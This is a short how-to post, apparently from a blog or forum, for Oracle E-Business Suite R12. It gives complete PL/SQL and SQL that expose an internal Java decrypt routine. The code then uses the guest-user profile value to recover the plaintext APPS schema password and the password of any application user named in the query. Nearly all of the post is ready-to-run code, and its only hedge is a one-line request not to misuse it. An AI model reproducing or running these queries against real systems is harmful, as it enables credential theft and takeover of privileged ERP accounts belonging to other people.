THIS WORKS WITH ORACLE R12
Here is a wonderful oracle seeded Procedure fnd_web_sec.get_guest_username_pwd which will help us to find out user password.
Please use with this care and don't misuse this.
Kindly Follow the below mentioned steps:
Login to Apps user
Step 1:
--Package Specification
CREATE OR REPLACE PACKAGE get_pwd
AS
FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
RETURN VARCHAR2;
END get_pwd;
CREATE OR REPLACE PACKAGE get_pwd
AS
FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
RETURN VARCHAR2;
END get_pwd;
/
Step 2:
--Package Body
CREATE OR REPLACE PACKAGE BODY get_pwd
AS
FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
RETURN VARCHAR2
AS
LANGUAGE JAVA
NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
END get_pwd;
/
Step 3:
Query to get password for apps user.
SELECT
(SELECT get_pwd.decrypt (UPPER ((SELECT UPPER (fnd_profile.VALUE ('GUEST_USER_PWD')) FROM DUAL)), usertable.encrypted_foundation_password) FROM DUAL) AS apps_password
FROM fnd_user usertable
WHERE usertable.user_name LIKE UPPER ((SELECT SUBSTR (fnd_profile.VALUE ('GUEST_USER_PWD') ,1 , INSTR (fnd_profile.VALUE ('GUEST_USER_PWD'), '/') - 1 ) FROM DUAL))
Step 4:
--Query for finding any application user
SELECT usr.user_name,
get_pwd.decrypt
((SELECT (SELECT get_pwd.decrypt
(fnd_web_sec.get_guest_username_pwd,
usertable.encrypted_foundation_password
)
FROM DUAL) AS apps_password
FROM fnd_user usertable
WHERE usertable.user_name =
(SELECT SUBSTR
(fnd_web_sec.get_guest_username_pwd,
1,
INSTR
(fnd_web_sec.get_guest_username_pwd,
'/'
)
- 1
)
FROM DUAL)),
usr.encrypted_user_password
) PASSWORD
FROM fnd_user usr
WHERE usr.user_name = '&USER_NAME';
